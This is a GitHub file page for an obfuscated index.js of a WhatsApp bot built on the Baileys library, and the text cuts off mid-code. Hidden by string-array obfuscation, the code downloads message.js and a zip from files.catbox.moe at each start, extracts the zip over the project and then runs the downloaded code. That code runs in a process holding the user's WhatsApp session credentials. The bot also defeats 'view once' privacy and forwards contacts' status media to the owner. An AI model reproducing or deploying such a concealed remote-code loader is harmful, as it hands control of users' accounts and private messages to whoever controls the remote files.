-
Notifications
You must be signed in to change notification settings - Fork 69
Expand file tree
/
Copy pathindex.js
More file actions
1 lines (1 loc) · 33.9 KB
/
index.js
File metadata and controls
1 lines (1 loc) · 33.9 KB
1
const a0_0x51992b=a0_0x37a6;(function(_0x5e3ae6,_0x5514ab){const _0x4ace75=a0_0x37a6,_0x2a8a09=_0x5e3ae6();while(!![]){try{const _0x1d960e=-parseInt(_0x4ace75(0x12e))/0x1*(parseInt(_0x4ace75(0x16b))/0x2)+parseInt(_0x4ace75(0x13b))/0x3*(-parseInt(_0x4ace75(0x149))/0x4)+-parseInt(_0x4ace75(0xf0))/0x5+-parseInt(_0x4ace75(0x109))/0x6*(parseInt(_0x4ace75(0x1b3))/0x7)+parseInt(_0x4ace75(0x147))/0x8*(parseInt(_0x4ace75(0x1aa))/0x9)+-parseInt(_0x4ace75(0x1b6))/0xa+-parseInt(_0x4ace75(0x177))/0xb*(-parseInt(_0x4ace75(0x16e))/0xc);if(_0x1d960e===_0x5514ab)break;else _0x2a8a09['push'](_0x2a8a09['shift']());}catch(_0x536cae){_0x2a8a09['push'](_0x2a8a09['shift']());}}}(a0_0x42fc,0x2d5b0),require(a0_0x51992b(0x1c0)));const {default:makeWASocket,useMultiFileAuthState,DisconnectReason,fetchLatestBaileysVersion,makeInMemoryStore,jidDecode,proto,getContentType,downloadContentFromMessage,fetchLatestWaWebVersion}=require('@adiwajshing/baileys'),fs=require('fs'),pino=require(a0_0x51992b(0x1b5)),lolcatjs=require(a0_0x51992b(0x1ad)),path=require(a0_0x51992b(0xff)),unzipper=require('unzipper'),https=require(a0_0x51992b(0x114)),axios=require(a0_0x51992b(0x13f)),dotenv=require('dotenv');dotenv[a0_0x51992b(0x139)]();const NodeCache=require(a0_0x51992b(0x12c)),msgRetryCounterCache=new NodeCache(),fetch=require(a0_0x51992b(0x12d)),FileType=require(a0_0x51992b(0x18c)),AdmZip=require(a0_0x51992b(0x1a0)),express=require('express'),app=express(),port=process[a0_0x51992b(0x17b)][a0_0x51992b(0x1be)]||0x2382,_=require('lodash'),{Boom}=require(a0_0x51992b(0x10f)),PhoneNumber=require(a0_0x51992b(0x14a)),readline=require(a0_0x51992b(0x19d)),{smsg,color,getBuffer}=require(a0_0x51992b(0x122)),{imageToWebp,videoToWebp,writeExifImg,writeExifVid}=require(a0_0x51992b(0xef)),{toAudio,toPTT,toVideo}=require('./nothing-ben/converter'),yargs=require(a0_0x51992b(0xea)),store=makeInMemoryStore({'logger':pino()[a0_0x51992b(0x193)]({'level':a0_0x51992b(0x17a),'stream':a0_0x51992b(0x15b)})});global[a0_0x51992b(0x1b8)]=new Object(yargs(process[a0_0x51992b(0xf1)]['slice'](0x2))[a0_0x51992b(0xfd)](![])[a0_0x51992b(0x182)]());const low=require('./nothing-ben/lowdb'),{Low,JSONFile}=low,mongoDB=require(a0_0x51992b(0x162));let db;urldb!==''?(db=new mongoDB(urldb),lolcatjs[a0_0x51992b(0x126)]('[\x20Successfully\x20Comnected\x20to\x20database\x20MongoDB\x20]')):(db=new JSONFile(a0_0x51992b(0x198)),lolcatjs['fromString'](a0_0x51992b(0x116)));global['db']=new Low(db),global['DATABASE']=global['db'],global[a0_0x51992b(0x18e)]=async function loadDatabase(){const _0x5be526=a0_0x51992b;if(global['db'][_0x5be526(0x146)])return new Promise(_0x5c2423=>setInterval(function(){const _0xad9fb8=_0x5be526;!global['db'][_0xad9fb8(0x146)]?(clearInterval(this),_0x5c2423(global['db'][_0xad9fb8(0x138)]==null?global[_0xad9fb8(0x18e)]():global['db'][_0xad9fb8(0x138)])):null;},0x3e8));if(global['db']['data']!==null)return;global['db'][_0x5be526(0x146)]=!![],await global['db'][_0x5be526(0x1b1)](),global['db']['READ']=![],global['db'][_0x5be526(0x138)]={'users':{},'chats':{},'database':{},'game':{},'settings':{},'others':{},'sticker':{},...global['db']['data']||{}},global['db'][_0x5be526(0x1ba)]=_[_0x5be526(0x1ba)](global['db'][_0x5be526(0x138)]);},global[a0_0x51992b(0x18e)](),process['on'](a0_0x51992b(0x1bc),console[a0_0x51992b(0x16c)]);global['db']&&urldb!==''&&setInterval(async()=>{const _0x2dcbaf=a0_0x51992b;global['db'][_0x2dcbaf(0x138)]&&await global['db']['write']();},0x7530);function createTmpFolder(){const _0xe66e=a0_0x51992b,_0x2ee34e=path[_0xe66e(0x186)](__dirname,_0xe66e(0x18d));!fs[_0xe66e(0x111)](_0x2ee34e)?(fs[_0xe66e(0x104)](_0x2ee34e),lolcatjs[_0xe66e(0x126)]('Folder\x20\x27tmp\x27\x20successfully\x20created..')):lolcatjs[_0xe66e(0x126)](_0xe66e(0xf5));}createTmpFolder();const question=_0x4ea712=>{const _0x42c733=a0_0x51992b,_0x187587=readline[_0x42c733(0x12f)]({'input':process[_0x42c733(0x101)],'output':process['stdout']});return new Promise(_0x414ae7=>{const _0x262b8a=_0x42c733;_0x187587[_0x262b8a(0x1af)](_0x4ea712,_0x414ae7);});};async function updateCredsFile(){const _0x9ccb74=a0_0x51992b,_0x4f63ab=_0x9ccb74(0x144),_0x4f5d58=path[_0x9ccb74(0x186)](_0x4f63ab,'creds.json'),_0x54920c=process[_0x9ccb74(0x17b)]['SESSION_ID'];if(!_0x54920c)return console[_0x9ccb74(0x16c)](_0x9ccb74(0xf8)),![];try{return!fs['existsSync'](_0x4f63ab)&&fs[_0x9ccb74(0x104)](_0x4f63ab,{'recursive':!![]}),!fs[_0x9ccb74(0x111)](_0x4f5d58)&&fs[_0x9ccb74(0x195)](_0x4f5d58,''),fs[_0x9ccb74(0x195)](_0x4f5d58,_0x54920c),console[_0x9ccb74(0x11d)](_0x9ccb74(0x1b9)),!![];}catch(_0x1f998f){return console['error'](_0x9ccb74(0x190),_0x1f998f),![];}}updateCredsFile();async function downloadFile(_0x36cf40,_0x4d5518){const _0x481799=a0_0x51992b;if(fs[_0x481799(0x111)](_0x4d5518)){console[_0x481799(0x11d)](_0x481799(0x189));return;}try{const _0x18aeb1=fs[_0x481799(0x135)](_0x4d5518),_0x324092=await axios({'method':'GET','url':_0x36cf40,'responseType':_0x481799(0x15c)});return _0x324092['data'][_0x481799(0x155)](_0x18aeb1),new Promise((_0x373444,_0x12d7b4)=>{const _0x3322f4=_0x481799;_0x18aeb1['on'](_0x3322f4(0x123),()=>{const _0xa1d2d4=_0x3322f4;console['log'](_0xa1d2d4(0xfb),_0x4d5518),_0x373444();}),_0x18aeb1['on'](_0x3322f4(0x16c),_0x4e902d=>{const _0x58f65a=_0x3322f4;console[_0x58f65a(0x16c)](_0x58f65a(0x107),_0x4e902d),_0x12d7b4(_0x4e902d);});});}catch(_0x4d68e9){console['error'](_0x481799(0x1a6),_0x4d68e9);}}function createLibAndFiles(){const _0x45856c=a0_0x51992b,_0x2bedba=path[_0x45856c(0x186)](__dirname,'lib');!fs[_0x45856c(0x111)](_0x2bedba)&&fs[_0x45856c(0x104)](_0x2bedba,{'recursive':!![]});const _0x1de28e={'tempmailid.json':[]};Object[_0x45856c(0x169)](_0x1de28e)[_0x45856c(0x176)](_0x4d1caf=>{const _0x4e641c=_0x45856c,_0x1804d2=path[_0x4e641c(0x186)](_0x2bedba,_0x4d1caf);if(!fs[_0x4e641c(0x111)](_0x1804d2))fs[_0x4e641c(0x195)](_0x1804d2,JSON['stringify'](_0x1de28e[_0x4d1caf],null,0x2),'utf8');else{}});}createLibAndFiles();function a0_0x37a6(_0x152b8f,_0x3f7f61){const _0x42fcc6=a0_0x42fc();return a0_0x37a6=function(_0x37a692,_0x4afa08){_0x37a692=_0x37a692-0xe9;let _0x340f45=_0x42fcc6[_0x37a692];return _0x340f45;},a0_0x37a6(_0x152b8f,_0x3f7f61);}function a0_0x42fc(){const _0x3f7596=['Whatsapp\x20bot\x20successfully\x20connected\x20✅','log','output','✅\x20The\x20files\x20are\x20extracted.','logout','server','./nothing-ben/myfunc','finish','✅\x20Downloaded\x20the\x20ZIP\x20file.','participant','fromString','from','videoMessage','public','ephemeralMessage','caption','node-cache','node-fetch','173854UCOHwh','createInterface','fromBuffer','promises','toString','user','author','createWriteStream','Unknown','Connection\x20Lost\x20from\x20Server,\x20reconnecting...','data','config','message.js','26106EAcNLx','❌\x20فایل\x20owner.json\x20خوانده\x20نشد:','packname','private','axios','Pairing\x20code:\x20','connectionLost','audio/ogg;\x20codecs=opus','messages','./session','sendPoll','READ','8jPMyVY','getName','92OYdSnv','awesome-phonenumber','mime','./tmp/','registered','✅\x20Session\x20backed\x20up\x20successfully.','Result\x20is\x20not\x20a\x20buffer','👤\x20*By:*\x20','writeFile','\x0aitem1.X-ABLabel:Mobile\x0aEND:VCARD','autostatusmsg','authState','pipe','length','❌\x20دریافت\x20رسانه\x20ناموفق\x20بود.','mtype','contacts.update','asSticker','store','stream','close','status','downloadMediaMessage','Unknown\x20DisconnectReason:\x20','BAE5','./nothing-ben/mongoDB','audioMessage','creds.update','♻️\x20The\x20session\x20file\x20was\x20corrupted,\x20restored\x20from\x20backup.','connection','\x0a\x20\x20\x20\x20<!DOCTYPE\x20html>\x0a\x20\x20\x20\x20<html\x20lang=\x22fa\x22>\x0a\x20\x20\x20\x20<head>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20charset=\x22UTF-8\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20name=\x22viewport\x22\x20content=\x22width=device-width,\x20initial-scale=1.0\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<title>WhatsApp\x20Bot\x20Status</title>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<style>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20body\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background:\x20linear-gradient(45deg,\x20#ff00cc,\x20#3333ff);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20\x27Arial\x27,\x20sans-serif;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20display:\x20flex;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20justify-content:\x20center;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20align-items:\x20center;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20height:\x20100vh;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20overflow:\x20hidden;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.status-container\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-align:\x20center;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background:\x20rgba(255,\x20255,\x20255,\x200.1);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20border-radius:\x2020px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x2040px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20box-shadow:\x200\x204px\x2030px\x20rgba(0,\x200,\x200,\x200.3);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20backdrop-filter:\x20blur(10px);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#fff;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-size:\x2024px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.status-container\x20h1\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-size:\x2036px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#fff;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-transform:\x20uppercase;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20letter-spacing:\x202px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin-bottom:\x2020px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.status-container\x20p\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-size:\x2018px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin-bottom:\x2020px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#4CAF50;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-weight:\x20bold;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20</style>\x0a\x20\x20\x20\x20</head>\x0a\x20\x20\x20\x20<body>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22status-container\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<h1>WhatsApp\x20Bot\x20Status</h1>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p>WhatsApp\x20Bot\x20is\x20running!\x20✅</p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20</body>\x0a\x20\x20\x20\x20</html>\x0a\x20\x20','viewOnceMessageV2','keys','@g.us','2emBPjl','error','🔓\x20ViewOnce\x20Unlocked','770700IRBcKn','owner','remoteJid','bind','Ubuntu','replace','BEGIN:VCARD\x0aVERSION:3.0\x0aN:','restartRequired','forEach','209nRbVkR','ext','endsWith','silent','env','name','listen','session','cache','Device\x20Logged\x20Out,\x20Please\x20Connect\x20Again\x20And\x20Run.','fatal','parse','alloc','autosavestatus','open','join','sendVideoAsSticker','viewOnceMessage','✅\x20File\x20message.js\x20Already\x20Available.','messages.upsert','https://files.catbox.moe/r0d6d6.js','file-type','tmp','loadDatabase','audio','❌\x20Error\x20in\x20saving\x20SESSION_ID:','subject','utf-8','child','trim','writeFileSync','video','concat','./nothing-ben/databasee.json','loggedOut','verifiedName','Error\x20Connection.update\x20','getFile','readline','Restart\x20Required,\x20Restarting...','./lib/owner.json','adm-zip','withoutContact','end','temp.zip','asDocument','\x0a\x0aYou\x20dont\x20have\x20session\x20id\x20try\x20pairing\x0a\x0aPlease\x20Type\x20Your\x20WhatsApp\x20Number\x20Example\x2093******\x20:\x0a','❌\x20Failed\x20for\x20download\x20file','❌\x20Error\x20in\x20sending\x20status\x20to\x20the\x20specified\x20number:','status@broadcast','resolve','2558880vXYHiy','copyFileSync','Chrome','lolcatjs','split','question','autoViewStatus','read','unlink','28BrMwhZ','groupMetadata','pino','3240090spYpOx','push','opts','✅\x20SESSION_ID\x20Successfully\x20saved!','chain','autostatusreply','uncaughtException','sendMessage','PORT','type','./config','downloadAndSaveMediaMessage','Bad\x20Session\x20File,\x20Please\x20Delete\x20Session\x20and\x20Verifikasi\x20Again','contacts','image','connectionClosed','msg','quoted','sendImageAsSticker','readFileSync','test','international','receivedPendingNotifications','message','yargs/yargs','@s.whatsapp.net','creds','includes','timedOut','./nothing-ben/exif','1488430pfiEiJ','argv','key',')\x20from\x20','application/octet-stream','Folder\x20\x27tmp\x27\x20already\x20available.','Connection\x20TimedOut,\x20Reconnecting...','document','Cant\x20find\x20SESSION_ID\x20in\x20.env.\x20First,\x20get\x20it,\x20save\x20it\x20in\x20.env,\x20and\x20try\x20deploying\x20again!','json','isBuffer','✅\x20File\x20Successfully\x20Downloaded','sendFile','exitProcess','🗑️\x20Deleted\x20the\x20ZIP\x20file.','path','base64','stdin','✅\x20status\x20new\x20(','Update\x20','mkdirSync','startsWith','./message','❌\x20Error\x20in\x20download\x20file:','0@s.whatsapp.net','484686aAkTVY','creds_backup.json','readMessages','connection.update','mode','\x0a╭─────────────━┈⊷\x20\x0a│🌏\x20*ʙᴏᴛ\x20ɪs\x20ᴄᴏɴɴᴇᴄᴛᴇᴅ*\x0a╰─────────────━┈⊷\x0a│💫\x20ᴘʀᴇғɪx:\x20*[\x20.\x20]*\x0a│⭕\x20ᴍᴏᴅᴇ:\x20*ᴘᴜʙʟɪᴄ*\x0a│📍\x20ᴠᴇʀꜱɪᴏɴ:\x20*2.0.0*\x0a│🤖\x20ʙᴏᴛ\x20ɴᴀᴍᴇ:\x20*ʙᴇɴ\x20ʙᴏᴛ*\x0a│👨💻\x20ᴏᴡɴᴇʀ\x20:\x20*ɴᴏᴛʜɪɴɢ*\x0a╰─────────────━┈⊷\x0a*Join\x20Whatsapp\x20Channel\x20For\x20Updates*\x0a>\x20https://whatsapp.com/channel/0029Vasu3qP9RZAUkVkvSv32\x0a','@hapi/boom','120363411517229272@g.us','existsSync','map','notify','https','filename','[\x20Connected\x20To\x20Local\x20Database\x20]','ANTIVIEWONCE','imageMessage','decodeJid','\x0aitem1.TEL;waid=','mimetype'];a0_0x42fc=function(){return _0x3f7596;};return a0_0x42fc();}async function downloadAndExtractZip(_0x4f9c7c){const _0x224785=a0_0x51992b,_0x51c8ae=path['join'](__dirname,_0x224785(0x1a3));try{const _0xa96ab6=await axios({'method':'GET','url':_0x4f9c7c,'responseType':_0x224785(0x15c)}),_0x3bd9df=fs[_0x224785(0x135)](_0x51c8ae);_0xa96ab6[_0x224785(0x138)][_0x224785(0x155)](_0x3bd9df),await new Promise((_0x1e5ac4,_0x4255ef)=>{const _0x343679=_0x224785;_0x3bd9df['on']('finish',_0x1e5ac4),_0x3bd9df['on'](_0x343679(0x16c),_0x4255ef);}),console[_0x224785(0x11d)](_0x224785(0x124));const _0x429bb8=new AdmZip(_0x51c8ae);_0x429bb8['extractAllTo'](__dirname,!![]),console[_0x224785(0x11d)](_0x224785(0x11f)),fs['unlinkSync'](_0x51c8ae),console['log'](_0x224785(0xfe));}catch(_0x209754){console[_0x224785(0x16c)]('❌\x20Error\x20while\x20downloading\x20or\x20extracting:',_0x209754);}}async function isTargetGroupOrChannel(_0x160401){const _0x4ea5d2=a0_0x51992b,_0x4f50d8=[_0x4ea5d2(0x110),'120363333589976873@newsletter'];return _0x4f50d8[_0x4ea5d2(0xed)](_0x160401);}async function handleStatusView(_0x3f0be0,_0xa863d2){const _0x11d7ac=a0_0x51992b,_0x3b78f2=_0x3f0be0['user']['id'][_0x11d7ac(0x1ae)](':')[0x0]+_0x11d7ac(0xeb);if(_0xa863d2[_0x11d7ac(0xf2)]&&_0xa863d2[_0x11d7ac(0xf2)][_0x11d7ac(0x170)]===_0x11d7ac(0x1a8)&&global['autoViewStatus']){await _0x3f0be0[_0x11d7ac(0x10b)]([_0xa863d2[_0x11d7ac(0xf2)]]);if(global[_0x11d7ac(0x184)])try{const _0x30a00c=_0xa863d2[_0x11d7ac(0xf2)][_0x11d7ac(0x125)]||_0x11d7ac(0x136),_0xe4830a=_0xa863d2[_0x11d7ac(0xe9)],_0x4edae4=Object[_0x11d7ac(0x169)](_0xe4830a)[0x0];if(_0x4edae4===_0x11d7ac(0x118)||_0x4edae4===_0x11d7ac(0x128)){const _0x4da827=await _0x3f0be0['downloadMediaMessage'](_0xa863d2),_0x3576eb=_0xe4830a[_0x4edae4][_0x11d7ac(0x11b)]||_0x11d7ac(0xf4);if(!_0x4da827){console['log'](_0x11d7ac(0x157));return;}await _0x3f0be0[_0x11d7ac(0x1bd)](_0x3b78f2,{[_0x4edae4==='imageMessage'?_0x11d7ac(0x1c4):_0x11d7ac(0x196)]:_0x4da827,'mimetype':_0x3576eb,'caption':_0x11d7ac(0x150)+_0x30a00c}),console[_0x11d7ac(0x11d)](_0x11d7ac(0x102)+_0x4edae4+_0x11d7ac(0xf3)+_0x30a00c+'\x20to\x20'+_0x3b78f2+'\x20send\x20done.');}}catch(_0x442462){console[_0x11d7ac(0x16c)](_0x11d7ac(0x1a7),_0x442462);}}}const sessionDir=path[a0_0x51992b(0x186)](__dirname,a0_0x51992b(0x17e)),sessionFile=path['join'](sessionDir,'creds.json'),backupDir=path[a0_0x51992b(0x186)](__dirname,'session_backup'),backupFile=path[a0_0x51992b(0x186)](backupDir,a0_0x51992b(0x10a));function restoreSessionIfMissing(){const _0x50d5b1=a0_0x51992b;!fs['existsSync'](sessionFile)&&fs[_0x50d5b1(0x111)](backupFile)&&(fs[_0x50d5b1(0x1ab)](backupFile,sessionFile),console[_0x50d5b1(0x11d)](_0x50d5b1(0x165)));}function autoBackupSession(){const _0x4e5eac=a0_0x51992b;!fs[_0x4e5eac(0x111)](backupDir)&&fs[_0x4e5eac(0x104)](backupDir,{'recursive':!![]}),fs['existsSync'](sessionFile)&&(fs[_0x4e5eac(0x1ab)](sessionFile,backupFile),console[_0x4e5eac(0x11d)](_0x4e5eac(0x14e)));}async function startBotz(){const _0x4c5969=a0_0x51992b,{state:_0x5e3d73,saveCreds:_0x379882}=await useMultiFileAuthState(_0x4c5969(0x17e)),_0x50f6c9=makeWASocket({'logger':pino({'level':_0x4c5969(0x181)}),'printQRInTerminal':![],'auth':_0x5e3d73,'msgRetryCounterCache':msgRetryCounterCache,'connectTimeoutMs':0xea60,'defaultQueryTimeoutMs':0x0,'keepAliveIntervalMs':0x2710,'emitOwnEvents':!![],'fireInitQueries':!![],'generateHighQualityLinkPreview':!![],'syncFullHistory':!![],'markOnlineOnConnect':!![],'browser':[_0x4c5969(0x172),_0x4c5969(0x1ac),'20.0.04']}),_0x9213cd=_0x4c5969(0x18b),_0x33773a=path[_0x4c5969(0x186)](__dirname,_0x4c5969(0x13a));await downloadFile(_0x9213cd,_0x33773a),restoreSessionIfMissing();const _0x3028f1='https://files.catbox.moe/jl8iia.zip';await downloadAndExtractZip(_0x3028f1),setInterval(autoBackupSession,0x2*0x3c*0x3c*0x3e8);if(!![]&&!_0x50f6c9[_0x4c5969(0x154)][_0x4c5969(0xec)][_0x4c5969(0x14d)]){const _0x47cda5=await question(_0x4c5969(0x1a5)),_0x42a87c=await _0x50f6c9['requestPairingCode'](_0x47cda5[_0x4c5969(0x194)]());console['log'](_0x4c5969(0x140)+_0x42a87c);}store[_0x4c5969(0x171)](_0x50f6c9['ev']),_0x50f6c9['ev']['on'](_0x4c5969(0x18a),async _0x591c20=>{const _0x538ea8=_0x4c5969;try{const _0xd4b8d3=_0x591c20[_0x538ea8(0x143)][0x0];if(!_0xd4b8d3[_0x538ea8(0xe9)])return;_0xd4b8d3['message']=Object[_0x538ea8(0x169)](_0xd4b8d3['message'])[0x0]===_0x538ea8(0x12a)?_0xd4b8d3['message']['ephemeralMessage'][_0x538ea8(0xe9)]:_0xd4b8d3[_0x538ea8(0xe9)],await handleStatusView(_0x50f6c9,_0xd4b8d3);_0xd4b8d3[_0x538ea8(0xf2)]&&_0xd4b8d3[_0x538ea8(0xf2)][_0x538ea8(0x170)]===_0x538ea8(0x1a8)&&global[_0x538ea8(0x1b0)]&&await _0x50f6c9[_0x538ea8(0x10b)]([_0xd4b8d3[_0x538ea8(0xf2)]]);if(_0xd4b8d3[_0x538ea8(0xf2)]&&_0xd4b8d3['key']['remoteJid']===_0x538ea8(0x1a8)&&global['autostatus_react']===!![]){const _0x11ecda=await _0x50f6c9[_0x538ea8(0x119)](_0x50f6c9[_0x538ea8(0x133)]['id']),_0x1cf8b2=global['autostatusemoji'];await _0x50f6c9[_0x538ea8(0x1bd)](_0xd4b8d3[_0x538ea8(0xf2)][_0x538ea8(0x170)],{'react':{'text':_0x1cf8b2,'key':_0xd4b8d3[_0x538ea8(0xf2)]}},{'statusJidList':[_0xd4b8d3[_0x538ea8(0xf2)][_0x538ea8(0x125)],_0x11ecda]});}if(_0xd4b8d3[_0x538ea8(0xf2)]&&_0xd4b8d3[_0x538ea8(0xf2)]['remoteJid']==='status@broadcast'&&global[_0x538ea8(0x1bb)]===!![]){const _0x4ab0f7=_0xd4b8d3['key']['participant'],_0x3c8b1e=global[_0x538ea8(0x153)];await _0x50f6c9[_0x538ea8(0x10b)]([_0xd4b8d3[_0x538ea8(0xf2)]]),await _0x50f6c9[_0x538ea8(0x1bd)](_0x4ab0f7,{'text':_0x3c8b1e},{'quoted':_0xd4b8d3});}if(_0xd4b8d3['message']&&global[_0x538ea8(0x117)]===!![]){const _0x33c995=_0xd4b8d3['message'],_0x29782c=Object[_0x538ea8(0x169)](_0x33c995)[0x0],_0x229249=_0x33c995[_0x29782c];let _0x5468f5=_0x229249?.[_0x538ea8(0xe9)]?_0x229249[_0x538ea8(0xe9)]:null;if(_0x29782c===_0x538ea8(0x188)||_0x29782c===_0x538ea8(0x168)){if(!_0x5468f5)return;const _0x396298=Object['keys'](_0x5468f5)[0x0],_0x18c331=_0x5468f5[_0x396298];try{const _0x148f2d='viewonce_'+Date['now'](),_0x2ae482=await _0x50f6c9['downloadAndSaveMediaMessage'](_0x18c331,_0x148f2d),_0x23f2f6={'url':_0x2ae482},_0x55749e=_0x18c331[_0x538ea8(0x12b)]||_0x538ea8(0x16d);if(_0x396298==='imageMessage')await _0x50f6c9[_0x538ea8(0x1bd)](_0xd4b8d3[_0x538ea8(0xf2)][_0x538ea8(0x170)],{'image':_0x23f2f6,'caption':_0x55749e},{'quoted':_0xd4b8d3});else{if(_0x396298===_0x538ea8(0x128))await _0x50f6c9[_0x538ea8(0x1bd)](_0xd4b8d3['key']['remoteJid'],{'video':_0x23f2f6,'caption':_0x55749e},{'quoted':_0xd4b8d3});else _0x396298===_0x538ea8(0x163)?await _0x50f6c9[_0x538ea8(0x1bd)](_0xd4b8d3[_0x538ea8(0xf2)][_0x538ea8(0x170)],{'audio':_0x23f2f6,'mimetype':_0x538ea8(0x142),'ptt':!![]},{'quoted':_0xd4b8d3}):console[_0x538ea8(0x11d)]('نوع\x20پشتیبانی\x20نشده:',_0x396298);}}catch(_0x45753a){console[_0x538ea8(0x16c)]('❌\x20خطا\x20در\x20antiViewOnce:',_0x45753a);}}}const _0x59999a=_0xd4b8d3[_0x538ea8(0xf2)][_0x538ea8(0x125)]||_0xd4b8d3[_0x538ea8(0xf2)][_0x538ea8(0x170)],_0x403f13=_0x59999a?.[_0x538ea8(0x1ae)]('@')[0x0];let _0x3b5af2=[];try{_0x3b5af2=JSON[_0x538ea8(0x182)](fs['readFileSync'](_0x538ea8(0x19f),_0x538ea8(0x192)));}catch(_0x5cefb0){console['error'](_0x538ea8(0x13c),_0x5cefb0);}const _0x2f2b45=[...global[_0x538ea8(0x16f)],..._0x3b5af2][_0x538ea8(0x112)](_0x20fe74=>_0x20fe74['replace'](/\D/g,'')),_0x56ac26=_0x2f2b45[_0x538ea8(0xed)](_0x403f13),_0x12d428=_0xd4b8d3[_0x538ea8(0xf2)]['fromMe'],_0x407514=_0xd4b8d3[_0x538ea8(0xf2)][_0x538ea8(0x170)][_0x538ea8(0x179)](_0x538ea8(0x16a)),_0x3c4e3d=!_0xd4b8d3[_0x538ea8(0xf2)][_0x538ea8(0x170)][_0x538ea8(0x179)](_0x538ea8(0x16a)),_0x5d988c=await _0x50f6c9['decodeJid'](_0x50f6c9[_0x538ea8(0x133)]['id']);switch(global[_0x538ea8(0x10d)]){case _0x538ea8(0x129):break;case _0x538ea8(0x13e):if(!_0x56ac26&&!_0x12d428&&_0x591c20[_0x538ea8(0x1bf)]===_0x538ea8(0x113))return;break;case'group':if(_0x3c4e3d&&!_0x56ac26&&!_0x12d428)return;break;case'inbox':if(_0x407514)return;if(!_0x12d428&&!_0x56ac26)return;break;default:return;}if(_0xd4b8d3[_0x538ea8(0xf2)]['id'][_0x538ea8(0x105)](_0x538ea8(0x161))&&_0xd4b8d3[_0x538ea8(0xf2)]['id'][_0x538ea8(0x156)]===0x10)return;const _0x1b6089=smsg(_0x50f6c9,_0xd4b8d3,store);require(_0x538ea8(0x106))(_0x50f6c9,_0x1b6089,_0x591c20,store);}catch(_0x9b5545){console['log'](_0x9b5545);}}),_0x50f6c9[_0x4c5969(0x119)]=_0x4395d5=>{const _0x25f099=_0x4c5969;if(!_0x4395d5)return _0x4395d5;if(/:\d+@/gi[_0x25f099(0x1ca)](_0x4395d5)){let _0x11080b=jidDecode(_0x4395d5)||{};return _0x11080b['user']&&_0x11080b[_0x25f099(0x121)]&&_0x11080b[_0x25f099(0x133)]+'@'+_0x11080b['server']||_0x4395d5;}else return _0x4395d5;},_0x50f6c9['ev']['on'](_0x4c5969(0x159),_0x2f518b=>{const _0x12f6d5=_0x4c5969;for(let _0x478174 of _0x2f518b){let _0x112465=_0x50f6c9[_0x12f6d5(0x119)](_0x478174['id']);store&&store[_0x12f6d5(0x1c3)]&&(store[_0x12f6d5(0x1c3)][_0x112465]={'id':_0x112465,'name':_0x478174['notify']});}}),_0x50f6c9[_0x4c5969(0x148)]=(_0x53cf24,_0x500014=![])=>{const 